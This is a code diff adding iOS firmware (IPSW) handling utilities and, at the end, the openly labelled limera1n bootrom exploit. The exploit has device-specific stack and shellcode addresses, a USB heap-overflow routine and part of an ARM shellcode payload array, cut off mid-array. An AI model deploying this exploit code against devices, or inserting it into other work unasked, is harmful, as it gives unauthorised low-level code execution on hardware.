+ /* older devices don't require personalized firmwares and use a BuildManifesto.plist */
+ if (ipsw_file_exists(ipsw, "BuildManifesto.plist")) {
+ if (ipsw_extract_to_memory(ipsw, "BuildManifesto.plist", &data, &size) == 0) {
+ plist_from_memory((char*)data, size, buildmanifest, NULL);
+ free(data);
+ return 0;
+ }
+ }
+
+ data = NULL;
+ size = 0;
+
+ /* whereas newer devices do not require personalized firmwares and use a BuildManifest.plist */
+ if (ipsw_extract_to_memory(ipsw, "BuildManifest.plist", &data, &size) == 0) {
+ *tss_enabled = 1;
+ plist_from_memory((char*)data, size, buildmanifest, NULL);
+ free(data);
+ return 0;
+ }
+
+ return -1;
+}
+
+int ipsw_extract_restore_plist(ipsw_archive_t ipsw, plist_t* restore_plist)
+{
+ size_t size = 0;
+ void* data = NULL;
+
+ if (ipsw_extract_to_memory(ipsw, "Restore.plist", &data, &size) == 0) {
+ plist_from_memory((char*)data, size, restore_plist, NULL);
+ free(data);
+ return 0;
+ }
+
+ return -1;
+}
+
+static int ipsw_list_contents_recurse(ipsw_archive_t ipsw, const char *path, ipsw_list_cb cb, void *ctx)
+{
+ int ret = 0;
+ char *base = build_path(ipsw->path, path);
+
+ DIR *dirp = opendir(base);
+
+ if (!dirp) {
+ logger(LL_ERROR, "failed to open directory %s\n", base);
+ free(base);
+ return -1;
+ }
+
+ while (ret >= 0) {
+ struct dirent *dir = readdir(dirp);
+ if (!dir)
+ break;
+
+ if (!strcmp(dir->d_name, ".") || !strcmp(dir->d_name, ".."))
+ continue;
+
+ char *fpath = build_path(base, dir->d_name);
+ char *subpath;
+ if (*path)
+ subpath = build_path(path, dir->d_name);
+ else
+ subpath = strdup(dir->d_name);
+
+ struct stat st;
+#ifdef WIN32
+ ret = stat(fpath, &st);
+#else
+ ret = lstat(fpath, &st);
+#endif
+ if (ret != 0) {
+ logger(LL_ERROR, "%s: stat failed for %s: %s\n", __func__, fpath, strerror(errno));
+ free(fpath);
+ free(subpath);
+ break;
+ }
+
+ ret = cb(ctx, ipsw, subpath, &st);
+
+ if (ret >= 0 && S_ISDIR(st.st_mode))
+ ipsw_list_contents_recurse(ipsw, subpath, cb, ctx);
+
+ free(fpath);
+ free(subpath);
+ }
+
+ closedir(dirp);
+ free(base);
+ return ret;
+}
+
+int ipsw_list_contents(ipsw_archive_t ipsw, ipsw_list_cb cb, void *ctx)
+{
+ int ret = 0;
+
+ if (ipsw == NULL) {
+ logger(LL_ERROR, "Invalid IPSW archive\n");
+ return -1;
+ }
+
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return -1;
+ }
+
+ int64_t entries = zip_get_num_entries(zip, 0);
+ if (entries < 0) {
+ logger(LL_ERROR, "zip_get_num_entries failed\n");
+ return -1;
+ }
+
+ for (int64_t index = 0; index < entries; index++) {
+ zip_stat_t stat;
+
+ zip_stat_init(&stat);
+ if (zip_stat_index(zip, index, 0, &stat) < 0) {
+ logger(LL_ERROR, "zip_stat_index failed for %s\n", stat.name);
+ ret = -1;
+ continue;
+ }
+
+ uint8_t opsys;
+ uint32_t attributes;
+ if (zip_file_get_external_attributes(zip, index, 0, &opsys, &attributes) < 0) {
+ logger(LL_ERROR, "zip_file_get_external_attributes failed for %s\n", stat.name);
+ ret = -1;
+ continue;
+ }
+ if (opsys != ZIP_OPSYS_UNIX) {
+ logger(LL_ERROR, "File %s does not have UNIX attributes\n", stat.name);
+ ret = -1;
+ continue;
+ }
+
+ struct stat st;
+ memset(&st, 0, sizeof(st));
+ st.st_ino = 1 + index;
+ st.st_nlink = 1;
+ st.st_mode = attributes >> 16;
+ st.st_size = stat.size;
+
+ char *name = strdup(stat.name);
+ if (name[strlen(name) - 1] == '/')
+ name[strlen(name) - 1] = '\0';
+
+ ret = cb(ctx, ipsw, name, &st);
+
+ free(name);
+
+ if (ret < 0)
+ break;
+ }
+ } else {
+ ret = ipsw_list_contents_recurse(ipsw, "", cb, ctx);
+ }
+
+ return ret;
+}
+
+int ipsw_get_signed_firmwares(const char* product, plist_t* firmwares)
+{
+ char url[256];
+ char *jdata = NULL;
+ size_t jsize = 0;
+ plist_t dict = NULL;
+ plist_t node = NULL;
+ plist_t fws = NULL;
+ const char* product_type = NULL;
+ uint32_t count = 0;
+ uint32_t i = 0;
+
+ if (!product || !firmwares) {
+ return -1;
+ }
+
+ *firmwares = NULL;
+ snprintf(url, sizeof(url), "https://api.ipsw.me/v4/device/%s", product);
+
+ if (download_to_buffer(url, (void**)&jdata, &jsize) < 0) {
+ logger(LL_ERROR, "Download from %s failed.\n", url);
+ return -1;
+ }
+ plist_from_json(jdata, jsize, &dict);
+ free(jdata);
+ if (!dict || plist_get_node_type(dict) != PLIST_DICT) {
+ logger(LL_ERROR, "Failed to parse json data.\n");
+ plist_free(dict);
+ return -1;
+ }
+
+ node = plist_dict_get_item(dict, "identifier");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unexpected json data returned - missing 'identifier'\n");
+ plist_free(dict);
+ return -1;
+ }
+ product_type = plist_get_string_ptr(node, NULL);
+ if (!product_type || strcmp(product_type, product) != 0) {
+ logger(LL_ERROR, "Unexpected json data returned - failed to read identifier\n");
+ plist_free(dict);
+ return -1;
+ }
+ fws = plist_dict_get_item(dict, "firmwares");
+ if (!fws || plist_get_node_type(fws) != PLIST_ARRAY) {
+ logger(LL_ERROR, "Unexpected json data returned - missing 'firmwares'\n");
+ plist_free(dict);
+ return -1;
+ }
+
+ *firmwares = plist_new_array();
+ count = plist_array_get_size(fws);
+ for (i = 0; i < count; i++) {
+ plist_t fw = plist_array_get_item(fws, i);
+ node = plist_dict_get_item(fw, "signed");
+ if (node && plist_get_node_type(node) == PLIST_BOOLEAN) {
+ uint8_t bv = 0;
+ plist_get_bool_val(node, &bv);
+ if (bv) {
+ plist_array_append_item(*firmwares, plist_copy(fw));
+ }
+ }
+ }
+ plist_free(dict);
+
+ return 0;
+}
+
+int ipsw_get_latest_fw(plist_t version_data, const char* product, char** fwurl, unsigned char* sha1buf)
+{
+ *fwurl = NULL;
+ if (sha1buf != NULL) {
+ memset(sha1buf, '\0', 20);
+ }
+
+ plist_t n1 = plist_dict_get_item(version_data, "MobileDeviceSoftwareVersionsByVersion");
+ if (!n1) {
+ logger(LL_ERROR, "%s: ERROR: Can't find MobileDeviceSoftwareVersionsByVersion dict in version data\n", __func__);
+ return -1;
+ }
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(n1, &iter);
+ if (!iter) {
+ logger(LL_ERROR, "%s: ERROR: Can't get dict iter\n", __func__);
+ return -1;
+ }
+ char* key = NULL;
+ uint64_t major = 0;
+ plist_t val = NULL;
+ do {
+ plist_dict_next_item(n1, iter, &key, &val);
+ if (key) {
+ plist_t pr = plist_access_path(n1, 3, key, "MobileDeviceSoftwareVersions", product);
+ if (pr) {
+ long long unsigned int v = strtoull(key, NULL, 10);
+ if (v > major)
+ major = v;
+ }
+ free(key);
+ }
+ } while (val);
+ free(iter);
+
+ if (major == 0) {
+ logger(LL_ERROR, "%s: ERROR: Can't find major version?!\n", __func__);
+ return -1;
+ }
+
+ char majstr[32]; // should be enough for a uint64_t value
+ snprintf(majstr, sizeof(majstr), "%"PRIu64, (uint64_t)major);
+ n1 = plist_access_path(version_data, 7, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, "Unknown", "Universal", "Restore");
+ if (!n1) {
+ logger(LL_ERROR, "%s: ERROR: Can't get Unknown/Universal/Restore node?!\n", __func__);
+ return -1;
+ }
+
+ plist_t n2 = plist_dict_get_item(n1, "BuildVersion");
+ if (!n2 || (plist_get_node_type(n2) != PLIST_STRING)) {
+ logger(LL_ERROR, "%s: ERROR: Can't get build version node?!\n", __func__);
+ return -1;
+ }
+
+ char* strval = NULL;
+ plist_get_string_val(n2, &strval);
+
+ n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval);
+ if (!n1) {
+ logger(LL_ERROR, "%s: ERROR: Can't get MobileDeviceSoftwareVersions/%s node?!\n", __func__, strval);
+ free(strval);
+ return -1;
+ }
+ free(strval);
+
+ strval = NULL;
+ n2 = plist_dict_get_item(n1, "SameAs");
+ if (n2) {
+ plist_get_string_val(n2, &strval);
+ }
+ if (strval) {
+ n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval);
+ free(strval);
+ strval = NULL;
+ if (!n1 || (plist_dict_get_size(n1) == 0)) {
+ logger(LL_ERROR, "%s: ERROR: Can't get MobileDeviceSoftwareVersions/%s dict\n", __func__, product);
+ return -1;
+ }
+ }
+
+ n2 = plist_access_path(n1, 2, "Update", "BuildVersion");
+ if (n2) {
+ strval = NULL;
+ plist_get_string_val(n2, &strval);
+ if (strval) {
+ n1 = plist_access_path(version_data, 5, "MobileDeviceSoftwareVersionsByVersion", majstr, "MobileDeviceSoftwareVersions", product, strval);
+ free(strval);
+ strval = NULL;
+ }
+ }
+
+ n2 = plist_access_path(n1, 2, "Restore", "FirmwareURL");
+ if (!n2 || (plist_get_node_type(n2) != PLIST_STRING)) {
+ logger(LL_ERROR, "%s: ERROR: Can't get FirmwareURL node\n", __func__);
+ return -1;
+ }
+
+ plist_get_string_val(n2, fwurl);
+
+ if (sha1buf != NULL) {
+ n2 = plist_access_path(n1, 2, "Restore", "FirmwareSHA1");
+ if (n2 && plist_get_node_type(n2) == PLIST_STRING) {
+ strval = NULL;
+ plist_get_string_val(n2, &strval);
+ if (strval) {
+ if (strlen(strval) == 40) {
+ int i;
+ int v;
+ for (i = 0; i < 40; i+=2) {
+ v = 0;
+ sscanf(strval+i, "%02x", &v);
+ sha1buf[i/2] = (unsigned char)v;
+ }
+ }
+ free(strval);
+ }
+ }
+ }
+
+ return 0;
+}
+
+static int sha1_verify_fp(FILE* f, unsigned char* expected_sha1)
+{
+ unsigned char tsha1[20];
+ char buf[8192];
+ size_t total = 0;
+ struct stat fst;
+ int lastprog = 0;
+ if (!f) return 0;
+ sha1_context sha1ctx;
+ sha1_init(&sha1ctx);
+ rewind(f);
+ fstat(fileno(f), &fst);
+ while (!feof(f)) {
+ size_t sz = fread(buf, 1, 8192, f);
+ sha1_update(&sha1ctx, buf, sz);
+ total += sz;
+ double p = (double)total / (double)fst.st_size;
+ if ((int)(p*100) > lastprog) {
+ set_progress('SHA1', p);
+ lastprog = (int)(p*100);
+ }
+ }
+ sha1_final(&sha1ctx, tsha1);
+ return (memcmp(expected_sha1, tsha1, 20) == 0) ? 1 : 0;
+}
+
+int ipsw_download_fw(const char *fwurl, unsigned char* isha1, const char* todir, char** ipswfile)
+{
+ char* fwfn = strrchr(fwurl, '/');
+ if (!fwfn) {
+ logger(LL_ERROR, "can't get local filename for firmware ipsw\n");
+ return -2;
+ }
+ fwfn++;
+
+ char fwlfn[PATH_MAX - 5];
+ if (todir) {
+ snprintf(fwlfn, sizeof(fwlfn), "%s/%s", todir, fwfn);
+ } else {
+ snprintf(fwlfn, sizeof(fwlfn), "%s", fwfn);
+ }
+
+ char fwlock[PATH_MAX];
+ snprintf(fwlock, sizeof(fwlock), "%s.lock", fwlfn);
+
+ lock_info_t lockinfo;
+
+ if (lock_file(fwlock, &lockinfo) != 0) {
+ logger(LL_WARNING, "Could not lock file '%s'\n", fwlock);
+ }
+
+ int need_dl = 0;
+ unsigned char zsha1[20] = {0, };
+ FILE* f = fopen(fwlfn, "rb");
+ if (f) {
+ if (memcmp(zsha1, isha1, 20) != 0) {
+ logger(LL_INFO, "Verifying '%s'...\n", fwlfn);
+ register_progress('SHA1', "Verifying");
+ if (sha1_verify_fp(f, isha1)) {
+ logger(LL_INFO, "Checksum matches.\n");
+ } else {
+ logger(LL_INFO, "Checksum does not match.\n");
+ need_dl = 1;
+ }
+ finalize_progress('SHA1');
+ }
+ fclose(f);
+ } else {
+ need_dl = 1;
+ }
+
+ int res = 0;
+ if (need_dl) {
+ if (strncmp(fwurl, "protected:", 10) == 0) {
+ logger(LL_ERROR, "Can't download '%s' because it needs a purchase.\n", fwfn);
+ res = -3;
+ } else {
+ remove(fwlfn);
+ logger(LL_INFO, "Downloading firmware (%s)\n", fwurl);
+ download_to_file(fwurl, fwlfn, 1);
+ if (global_quit_flag > 0) {
+ logger(LL_NOTICE, "Download aborted by user\n");
+ return -1;
+ }
+ if (memcmp(isha1, zsha1, 20) != 0) {
+ logger(LL_INFO, "Verifying '%s'...\n", fwlfn);
+ FILE* f = fopen(fwlfn, "rb");
+ if (f) {
+ register_progress('SHA1', "Verifying");
+ if (sha1_verify_fp(f, isha1)) {
+ logger(LL_INFO, "Checksum matches.\n");
+ } else {
+ logger(LL_ERROR, "File download failed (checksum mismatch).\n");
+ res = -4;
+ }
+ finalize_progress('SHA1');
+ fclose(f);
+
+ // make sure to remove invalid files
+ if (res < 0)
+ remove(fwlfn);
+ } else {
+ logger(LL_ERROR, "Can't open '%s' for checksum verification\n", fwlfn);
+ res = -5;
+ }
+ }
+ }
+ }
+ if (res == 0) {
+ *ipswfile = strdup(fwlfn);
+ }
+
+ if (unlock_file(&lockinfo) != 0) {
+ logger(LL_WARNING, "Could not unlock file '%s'\n", fwlock);
+ }
+
+ return res;
+}
+
+int ipsw_download_latest_fw(plist_t version_data, const char* product, const char* todir, char** ipswfile)
+{
+ char* fwurl = NULL;
+ unsigned char isha1[20];
+
+ *ipswfile = NULL;
+
+ if ((ipsw_get_latest_fw(version_data, product, &fwurl, isha1) < 0) || !fwurl) {
+ logger(LL_ERROR, "can't get URL for latest firmware\n");
+ return -1;
+ }
+ char* fwfn = strrchr(fwurl, '/');
+ if (!fwfn) {
+ logger(LL_ERROR, "can't get local filename for firmware ipsw\n");
+ return -2;
+ }
+ fwfn++;
+
+ logger(LL_INFO, "Latest firmware is %s\n", fwfn);
+
+ int res = ipsw_download_fw(fwurl, isha1, todir, ipswfile);
+
+ free(fwurl);
+
+ return res;
+}
+
+void ipsw_cancel(void)
+{
+ cancel_flag++;
+}
+
+ipsw_file_handle_t ipsw_file_open(ipsw_archive_t ipsw, const char* path)
+{
+ ipsw_file_handle_t handle = (ipsw_file_handle_t)calloc(1, sizeof(struct ipsw_file_handle));
+ if (ipsw->zip) {
+ int err = 0;
+ struct zip *zip = zip_open(ipsw->path, 0, &err);
+ if (zip == NULL) {
+ logger(LL_ERROR, "zip_open: %s: %d\n", ipsw->path, err);
+ return NULL;
+ }
+
+ zip_stat_t zst;
+ zip_int64_t zindex = zip_name_locate(zip, path, 0);
+ if (zindex < 0) {
+ logger(LL_ERROR, "zip_name_locate: %s not found\n", path);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ free(handle);
+ return NULL;
+ }
+ handle->zfile = zip_fopen_index(zip, zindex, 0);
+ if (handle->zfile == NULL) {
+ logger(LL_ERROR, "zip_fopen_index: %s could not be opened\n", path);
+ zip_unchange_all(zip);
+ zip_close(zip);
+ free(handle);
+ return NULL;
+ }
+ zip_stat_init(&zst);
+ zip_stat(zip, path, 0, &zst);
+ handle->size = zst.size;
+ handle->seekable = (zst.comp_method == ZIP_CM_STORE);
+ handle->zip = zip;
+ } else {
+ struct stat st;
+ char *filepath = build_path(ipsw->path, path);
+ handle->file = fopen(filepath, "rb");
+ free(filepath);
+ if (!handle->file) {
+ logger(LL_ERROR, "fopen: %s could not be opened\n", path);
+ free(handle);
+ return NULL;
+ }
+ fstat(fileno(handle->file), &st);
+ handle->size = st.st_size;
+ handle->seekable = 1;
+ }
+ return handle;
+}
+
+void ipsw_file_close(ipsw_file_handle_t handle)
+{
+ if (handle && handle->zfile) {
+ zip_fclose(handle->zfile);
+ zip_unchange_all(handle->zip);
+ zip_close(handle->zip);
+ } else if (handle && handle->file) {
+ fclose(handle->file);
+ }
+ free(handle);
+}
+
+uint64_t ipsw_file_size(ipsw_file_handle_t handle)
+{
+ if (handle) {
+ return handle->size;
+ }
+ return 0;
+}
+
+int64_t ipsw_file_read(ipsw_file_handle_t handle, void* buffer, size_t size)
+{
+ if (handle && handle->zfile) {
+ zip_int64_t zr = zip_fread(handle->zfile, buffer, size);
+ return (int64_t)zr;
+ } else if (handle && handle->file) {
+ return fread(buffer, 1, size, handle->file);
+ } else {
+ logger(LL_ERROR, "%s: Invalid file handle\n", __func__);
+ return -1;
+ }
+}
+
+int ipsw_file_seek(ipsw_file_handle_t handle, int64_t offset, int whence)
+{
+ if (handle && handle->zfile) {
+ return zip_fseek(handle->zfile, offset, whence);
+ } else if (handle && handle->file) {
+#ifdef WIN32
+ if (whence == SEEK_SET) {
+ rewind(handle->file);
+ }
+ return (_lseeki64(fileno(handle->file), offset, whence) < 0) ? -1 : 0;
+#else
+ return fseeko(handle->file, offset, whence);
+#endif
+ } else {
+ logger(LL_ERROR, "%s: Invalid file handle\n", __func__);
+ return -1;
+ }
+}
+
+int64_t ipsw_file_tell(ipsw_file_handle_t handle)
+{
+ if (handle && handle->zfile) {
+ return zip_ftell(handle->zfile);
+ } else if (handle && handle->file) {
+#ifdef WIN32
+ return _lseeki64(fileno(handle->file), 0, SEEK_CUR);
+#else
+ return ftello(handle->file);
+#endif
+ } else {
+ logger(LL_ERROR, "%s: Invalid file handle\n", __func__);
+ return -1;
+ }
+}
diff --git a/sources/MobileRestoreCore/ipsw.h b/sources/MobileRestoreCore/ipsw.h
new file mode 100644
index 00000000..b22e614f
--- /dev/null
+++ b/sources/MobileRestoreCore/ipsw.h
@@ -0,0 +1,90 @@
+/*
+ * ipsw.h
+ * Definitions for IPSW utilities
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_IPSW_H
+#define IDEVICERESTORE_IPSW_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+#include <plist/plist.h>
+#include <sys/stat.h>
+
+struct ipsw_archive {
+ int zip;
+ char *path;
+};
+typedef struct ipsw_archive* ipsw_archive_t;
+
+ipsw_archive_t ipsw_open(const char* ipsw);
+void ipsw_close(ipsw_archive_t ipsw);
+
+int ipsw_print_info(const char* ipsw);
+
+typedef int (*ipsw_list_cb)(void *ctx, ipsw_archive_t ipsw, const char *name, struct stat *stat);
+typedef int (*ipsw_send_cb)(void *ctx, const void *data, size_t size, size_t done, size_t total_size);
+
+struct ipsw_file_handle {
+ FILE* file;
+ struct zip* zip;
+ struct zip_file* zfile;
+ uint64_t size;
+ int seekable;
+};
+typedef struct ipsw_file_handle* ipsw_file_handle_t;
+
+ipsw_file_handle_t ipsw_file_open(ipsw_archive_t, const char* path);
+void ipsw_file_close(ipsw_file_handle_t handle);
+
+uint64_t ipsw_file_size(ipsw_file_handle_t handle);
+int64_t ipsw_file_read(ipsw_file_handle_t handle, void* buffer, size_t size);
+int ipsw_file_seek(ipsw_file_handle_t handle, int64_t offset, int whence);
+int64_t ipsw_file_tell(ipsw_file_handle_t handle);
+
+int ipsw_is_directory(const char* ipsw);
+
+int ipsw_file_exists(ipsw_archive_t ipsw, const char* infile);
+int ipsw_get_file_size(ipsw_archive_t ipsw, const char* infile, uint64_t* size);
+int ipsw_extract_to_file(ipsw_archive_t ipsw, const char* infile, const char* outfile);
+int ipsw_extract_to_file_with_progress(ipsw_archive_t ipsw, const char* infile, const char* outfile, int print_progress);
+int ipsw_extract_to_memory(ipsw_archive_t ipsw, const char* infile, void** pbuffer, size_t* psize);
+int ipsw_extract_send(ipsw_archive_t ipsw, const char* infile, int blocksize, ipsw_send_cb send_callback, void* ctx);
+int ipsw_extract_build_manifest(ipsw_archive_t ipsw, plist_t* buildmanifest, int *tss_enabled);
+int ipsw_extract_restore_plist(ipsw_archive_t ipsw, plist_t* restore_plist);
+int ipsw_list_contents(ipsw_archive_t ipsw, ipsw_list_cb cb, void *ctx);
+
+int ipsw_get_signed_firmwares(const char* product, plist_t* firmwares);
+int ipsw_download_fw(const char *fwurl, unsigned char* isha1, const char* todir, char** ipswfile);
+
+int ipsw_get_latest_fw(plist_t version_data, const char* product, char** fwurl, unsigned char* sha1buf);
+int ipsw_download_latest_fw(plist_t version_data, const char* product, const char* todir, char** ipswfile);
+
+void ipsw_cancel(void);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/limera1n.c b/sources/MobileRestoreCore/limera1n.c
new file mode 100644
index 00000000..f2052871
--- /dev/null
+++ b/sources/MobileRestoreCore/limera1n.c
@@ -0,0 +1,144 @@
+/*
+ * limera1n.c
+ * Helper code for limera1n exploit based on discovery by geohot
+ *
+ * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (C) 2010 Chronic-Dev Team
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <libirecovery.h>
+
+#include "common.h"
+#include "limera1n.h"
+#include "limera1n_payload.h"
+
+int limera1n_is_supported(struct irecv_device *device)
+{
+ irecv_device_t iphone4 = NULL;
+ irecv_device_t iphone3gs = NULL;
+ irecv_device_t ipod3g = NULL;
+
+ irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4);
+ irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs);
+ irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g);
+
+ return ((device->chip_id == iphone4->chip_id) ||
+ (device->chip_id == iphone3gs->chip_id) ||
+ (device->chip_id == ipod3g->chip_id));
+}
+
+int limera1n_exploit(struct irecv_device *device, irecv_client_t *pclient)
+{
+ irecv_error_t err = IRECV_E_SUCCESS;
+ unsigned int i = 0;
+ unsigned char buf[0x800];
+ unsigned char shellcode[0x800];
+ unsigned int max_size = 0x24000;
+ //unsigned int load_address = 0x84000000;
+ unsigned int stack_address = 0;
+ unsigned int shellcode_address = 0;
+
+ irecv_device_t iphone4 = NULL;
+ irecv_device_t iphone3gs = NULL;
+ irecv_device_t ipod3g = NULL;
+ int mode = 0;
+
+ irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4);
+ irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs);
+ irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g);
+
+ if (device->chip_id == iphone4->chip_id) {
+ max_size = 0x2C000;
+ stack_address = 0x8403BF9C;
+ shellcode_address = 0x8402B001;
+ } else if (device->chip_id == iphone3gs->chip_id) {
+ max_size = 0x24000;
+ stack_address = 0x84033FA4;
+ shellcode_address = 0x84023001;
+ } else if (device->chip_id == ipod3g->chip_id) {
+ max_size = 0x24000;
+ stack_address = 0x84033F98;
+ shellcode_address = 0x84023001;
+ } else {
+ logger(LL_ERROR, "Unsupported ChipID 0x%04x. Can't exploit with limera1n.\n", device->chip_id);
+ return -1;
+ }
+
+ memset(shellcode, 0x0, 0x800);
+ memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));
+
+ irecv_client_t client = *pclient;
+
+ logger(LL_DEBUG, "Resetting device counters\n");
+ err = irecv_reset_counters(client);
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "%s\n", irecv_strerror(err));
+ return -1;
+ }
+
+ memset(buf, 0xCC, 0x800);
+ for(i = 0; i < 0x800; i += 0x40) {
+ unsigned int* heap = (unsigned int*)(buf+i);
+ heap[0] = 0x405;
+ heap[1] = 0x101;
+ heap[2] = shellcode_address;
+ heap[3] = stack_address;
+ }
+
+ logger(LL_DEBUG, "Sending chunk headers\n");
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+
+ memset(buf, 0xCC, 0x800);
+ for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+ }
+
+ logger(LL_DEBUG, "Sending exploit payload\n");
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);
+
+ logger(LL_DEBUG, "Sending fake data\n");
+ memset(buf, 0xBB, 0x800);
+ irecv_usb_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
+ irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
+
+ //logger(LL_DEBUG, "Executing exploit\n");
+ irecv_usb_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);
+
+ irecv_reset(client);
+ irecv_finish_transfer(client);
+ logger(LL_DEBUG, "Exploit sent\n");
+
+ logger(LL_DEBUG, "Reconnecting to device\n");
+ *pclient = irecv_reconnect(client, 7);
+ if (*pclient == NULL) {
+ logger(LL_ERROR, "Unable to reconnect\n");
+ return -1;
+ }
+
+ irecv_get_mode((*pclient), &mode);
+
+ if (mode != IRECV_K_DFU_MODE) {
+ logger(LL_ERROR, "Device reconnected in non-DFU mode\n");
+ return -1;
+ }
+
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/limera1n.h b/sources/MobileRestoreCore/limera1n.h
new file mode 100644
index 00000000..592d8d8b
--- /dev/null
+++ b/sources/MobileRestoreCore/limera1n.h
@@ -0,0 +1,29 @@
+/*
+ * limera1n.h
+ * Helper code for limera1n exploit based on discovery by geohot
+ *
+ * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef __LIMERA1N_H
+#define __LIMERA1N_H
+#include <libirecovery.h>
+
+int limera1n_is_supported(struct irecv_device *device);
+int limera1n_exploit(struct irecv_device *device, irecv_client_t *client);
+
+#endif /* __LIMERA1N_H */
diff --git a/sources/MobileRestoreCore/limera1n_payload.h b/sources/MobileRestoreCore/limera1n_payload.h
new file mode 100644
index 00000000..e3117a1f
--- /dev/null
+++ b/sources/MobileRestoreCore/limera1n_payload.h
@@ -0,0 +1,97 @@
+/*
+ * limera1n_payload.h
+ * Payload for limera1n exploit
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+extern unsigned char limera1n_payload[];
+
+unsigned char limera1n_payload[] = {
+ 0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46,
+ 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46,
+ 0xc0, 0x46, 0xc0, 0x46, 0x61, 0x48, 0x02, 0x68,
+ 0x61, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x61, 0x49,
+ 0x39, 0x60, 0x61, 0x49, 0x79, 0x60, 0x61, 0x49,
+ 0xb9, 0x60, 0x1c, 0xe0, 0x60, 0x48, 0x90, 0x42,
+ 0x06, 0xd1, 0x60, 0x49, 0x39, 0x60, 0x60, 0x49,
+ 0x79, 0x60, 0x60, 0x49, 0xb9, 0x60, 0x12, 0xe0,
+ 0x5f, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x5f, 0x49,
+ 0x39, 0x60, 0x5f, 0x49, 0x79, 0x60, 0x5f, 0x49,
+ 0xb9, 0x60, 0x08, 0xe0, 0x5e, 0x48, 0x90, 0x42,
+ 0x05, 0xd1, 0x5e, 0x49, 0x39, 0x60, 0x5a, 0x49,
